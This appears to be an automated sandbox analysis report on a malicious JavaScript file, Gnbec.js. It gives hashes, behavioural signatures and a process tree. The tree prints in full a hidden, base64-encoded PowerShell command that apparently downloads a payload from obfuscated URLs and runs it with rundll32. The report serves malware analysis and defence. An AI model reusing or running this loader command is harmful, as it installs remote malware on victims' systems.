Analysis
-
max time kernel
30s -
max time network
32s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
16/05/2023, 13:29
Static task
static1
Behavioral task
behavioral1
Sample
Gnbec.js
Resource
win7-20230220-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
Gnbec.js
Resource
win10v2004-20230220-en
6 signatures
150 seconds
General
-
Target
Gnbec.js
-
Size
284KB
-
MD5
09898f199ab752767454a9073e15282f
-
SHA1
4d2bdf3e47a39fa418deafe0cbcd1f2f12093347
-
SHA256
01a8735ace5e349ab46b286cae6658931fca9521f3cc640fe6f03951392a36bb
-
SHA512
7ea486fba3e95a9b660f722362db42856d35d928d4a2dc930e8dd500f113e8d7a59c8d1315abe1a5a46ca8f40a11b043904a274971fb02c3496f226133e861ad
-
SSDEEP
3072:8Ra6vwAPaAtU0eUjidy0dI4eiVnXT95gQtNEs6:8Ra6VbU0xjidy0dIPiVnDh0s6
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 468 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1724 wrote to memory of 1472 1724 wscript.exe 28 PID 1724 wrote to memory of 1472 1724 wscript.exe 28 PID 1724 wrote to memory of 1472 1724 wscript.exe 28 PID 1472 wrote to memory of 468 1472 wscript.exe 29 PID 1472 wrote to memory of 468 1472 wscript.exe 29 PID 1472 wrote to memory of 468 1472 wscript.exe 29
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Gnbec.js1⤵
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Gnbec.js" AtaxiaphasiaMangbattu egaliteAcrobryous butteringKoreish2⤵
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABNAGkAbABrAHcAbwByAHQAcwBCAG8AcwB3AGUAbABsAGkAYQAgAD0AIAAzADcANgA7ACQAbgBvAG4AdgBlAHIAdABpAGMAYQBsAGwAeQBVAG4AbQBhAHIAawBpAG4AZwAgAD0AIAA5ADUAMAA7ACQAdQBuAGEAZgBmAGEAYgBsAGUAIAA9ACAAIgBjAGEAdAB0AGwAZQB5AGEAcwBNAGUAbQBiAHIAYQBjAGkAZABhAGUAIgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQA7ACQAUgBlAGIAZQBsAGwAaQBvAG4AIAA9ACAAIgBSAGUAYwBvAG0AbQBlAG4AZABlAGQAIgA7ACQAUgBlAGUAZABpAHQAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA1AEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAFEAQQBNAHcAQQB1AEEARABFAEEATQBRAEEANQBBAEMAOABBAGQAQQBCAE8AQQBHAFkAQQBMAHcAQgBQAEEARQAwAEEATgB3AEIASQBBAEcANABBAGMAZwBCAHUAQQBFAGMAQQBlAFEAQgBwAEEARQA0AEEAegBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABZAEEATABnAEEAeABBAEQASQBBAE0AZwBBAHYAQQBGAFkAQQBiAEEAQgB3AEEARgBRAEEATAB3AEIAWABBAEYAVQBBAGMAdwBCAHkAQQBHAHcAQQBOAFEAQgB0AEEASABRAEEAYQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABiAGEAcwBvAG0AbQBhAHQAbwBwAGgAbwByAG8AdQBzACAAaQBuACAAJABSAGUAZQBkAGkAdABlAGQAIAAtAHMAcABsAGkAdAAgACIAegBoACIAKQAgAHsAJABQAHIAZQBnAGUAbgBlAHIAbwB1AHMASAB5AGQAcgBvAHgAeQBsAGEAdABpAG8AbgAgAD0AIAAzADgAMwA7ACQAYwB5AG4AaQBhAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAYQBBAEIAdgBBAEcAdwBBAFoAUQBBAHUAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAegBBAEEAPQA9AGUAegBXAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBnAEEAYgB3AEIAdABBAEcAOABBAFoAUQBCAHYAQQBIAG8AQQBiAHcAQgBwAEEARwBNAEEATABnAEIAaQBBAEcAVQBBAFoAUQBCAHkAQQBBAD0APQAiADsAJABFAHUAcgBvAHAAaQB1AG0ASQBuAHQAZQByAGkAbgB2AG8AbAB2AGUAZAAgAD0AIAAiAEQAZQByAGUAbgBjAGUAcABoAGEAbABvAGMAZQBsAGUAUABoAG8AcwBwAGgAbwByAGkAdABpAGMAIgA7AHQAcgB5ACAAewAkAGYAaQBsAGEAbQBlAG4AdABMAGkAcQB1AG8AcgBpAHMAaABuAGUAcwBzACAAPQAgADIAMQA4ADsAJAByAGEAbABsAGkAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBtAEEARwBrAEEAWgB3AEIAMQBBAEgASQBBAFoAUQBCAHoAQQBDADQAQQBaAGcAQgB2AEEARwA4AEEAZABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBBAD0APQBPAE0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEASABVAEEAYgBRAEIAdwBBAEgAUQBBAGQAUQBCAHYAQQBIAFUAQQBjAHcAQQB1AEEARwBjAEEAYwB3AEEAPQBPAE0AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQAwAEEAZQBRAEIAeQBBAEcAawBBAGIAZwBCAG4AQQBHAEUAQQBRAFEAQgB1AEEARwBFAEEAYgBnAEIANQBBAEcAMABBAEwAZwBCADIAQQBHAGsAQQBiAGcAQQA9ACIAOwAkAE4AbwBuAGcAaQBsAGwAZQBkAEwAYQBuAHUAZwBpAG4AbwB1AHMAbgBlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBkAFEAQgB5AEEARwBFAEEAWQBnAEIAcABBAEcAdwBBAGEAUQBCADAAQQBIAGsAQQBMAGcAQgAwAEEARwBFAEEAZQBBAEEAPQBlAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEARwBVAEEAWQBRAEIAeQBBAEcAdwBBAFoAZwBCAHkAQQBIAFUAQQBhAFEAQgAwAEEARQBjAEEAWQBRAEIAcwBBAEcARQBBAFkAdwBCADAAQQBHADgAQQBjAEEAQgBvAEEARwA4AEEAYwBnAEIAbABBAEMANABBAFoAUQBCADEAQQBBAD0APQBlAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABBAEEATgB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQB3AEEARABBAEEATABnAEEAeABBAEQASQBBAE4AUQBBAD0AIgA7ACQATgBvAG4AaQBuAGYAcgBhAGMAdABpAG8AbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBvAG0AbQBhAHQAbwBwAGgAbwByAG8AdQBzACkAKQA7AGkAdwByACAAJABOAG8AbgBpAG4AZgByAGEAYwB0AGkAbwBuACAALQBPACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwARQB4AGMAcgBlAG0AZQBuAHQAaQB0AGkAbwB1AHMAbgBlAHMAcwBEAGUAaQBvAG4AaQB6AGUAcgAuAHUAcABiAHIAbwBrAGUAbgA7ACQASAB5AHAAZQByAGEAbABnAGUAcwBpAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQB3AEIAdgBBAEcANABBAGMAdwBCADEAQQBHADAAQQBaAFEAQgBYAEEARwBFAEEAZQBRAEIAMwBBAEcAOABBAGMAZwBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBZAEEAWgBRAEEAPQB1AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAQQBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQA1AEEAQwA0AEEATQBRAEEAeABBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAHcAQQA9ACIAOwAkAG0AbwBvAGwAaQBuAGcAcwBOAG8AcgB0AGgAbABhAG4AZABlAHIAIAA9ACAAIgBBAHIAYwBoAGYAbABhAHQAdABlAHIAZQByAFMAawBlAGEAbgBzACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwARQB4AGMAcgBlAG0AZQBuAHQAaQB0AGkAbwB1AHMAbgBlAHMAcwBEAGUAaQBvAG4AaQB6AGUAcgAuAHUAcABiAHIAbwBrAGUAbgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAA2ADIANwA2ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBSAFEAQgA0AEEARwBNAEEAYwBnAEIAbABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBhAFEAQgAwAEEARwBrAEEAYgB3AEIAMQBBAEgATQBBAGIAZwBCAGwAQQBIAE0AQQBjAHcAQgBFAEEARwBVAEEAYQBRAEIAdgBBAEcANABBAGEAUQBCADYAQQBHAFUAQQBjAGcAQQB1AEEASABVAEEAYwBBAEIAaQBBAEgASQBBAGIAdwBCAHIAQQBHAFUAQQBiAGcAQQBzAEEASABBAEEAYwBnAEIAcABBAEcANABBAGQAQQBBADcAQQBGAFkAQQBkAFEAQgBsAEEARQBvAEEAVQB3AEEAPQAiADsAJABzAHUAcABlAHIAYQBjAGMAZQBzAHMAaQBvAG4AUwBsAG8AdgBlAG4AZQAgAD0AIAAxADEANgA7ACQAVwBvAHUAbABkAGUAcwB0AEcAdQBlAHMAcwBlAHMAIAA9ACAAMwAzADMAOwAkAEIAcgB5AGEAbgBpAHQAZQBCAHIAYQB5AGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AQQBBAHgAQQBDADQAQQBNAGcAQQB5AEEARABVAEEATABnAEEAeQBBAEQASQBBAE4AdwBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQQA9AD0AYwBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAHMAQQBHAFUAQQBkAEEAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGQAUQBCAHkAQQBIAFUAQQBjAFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBWAEEASABRAEEAYgB3AEIAdwBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBiAFEAQgB2AEEARwAwAEEAYwBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AUQBBAHkAQQBDADQAQQBPAFEAQQAwAEEAQwA0AEEATQBnAEEAeABBAEQARQBBAEwAZwBBAHgAQQBEAEUAQQBNAFEAQQA9ACIAOwBiAHIAZQBhAGsAOwBWAHUAZQBKAFMAOwB9AFYAdQBlAEoAUwA7AH0AIABjAGEAdABjAGgAIAB7ACQAQgByAGEAegBlAGUAIAA9ACAAIgBPAG8AawBpAG4AZQBzAGkAcwBEAG8AdgBlAGMAbwB0AGUAIgA7ACQAaAB5AHAAZQByAGIAYQB0AGEAIAA9ACAAMQA0ADEAOwAkAGUAbgBzAGEAbgBnAHUAaQBuAGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGIAdwBCAHUAQQBHAFUAQQBlAFEAQgBvAEEARwBVAEEAWQBRAEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBDADQAQQBhAEEAQgBsAEEARwBFAEEAYgBBAEIAMABBAEcAZwBBAFkAdwBCAGgAQQBIAEkAQQBaAFEAQQA9AE0AcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADUAQQBDADQAQQBOAHcAQQAzAEEAQwA0AEEATgBRAEEAdwBBAEMANABBAE8AUQBBADAAQQBBAD0APQBNAHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAGcAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADIAQQBEAGcAQQBMAGcAQQA1AEEARABNAEEAIgA7AH0AfQAkAFEAdQBhAG4AdABpAGMAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBDAEEARwB3AEEAWgBRAEIAaABBAEcAcwBBAGIAQQBCADUAQQBFAFEAQQBaAFEAQgB1AEEARwA4AEEAZABBAEIAaABBAEgAUQBBAGEAUQBCADIAQQBHAFUAQQBMAGcAQgBrAEEARwBVAEEAYQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBADQAQQBDADQAQQBNAFEAQQAzAEEARABrAEEAIgA7ACQAZwBhAGwAYQBnAGkAbgBhAGUAUwBlAHIAcgBhAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFUAQQBMAGcAQQB4AEEARABNAEEATgBBAEEAPQAiADsA"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:468
-
-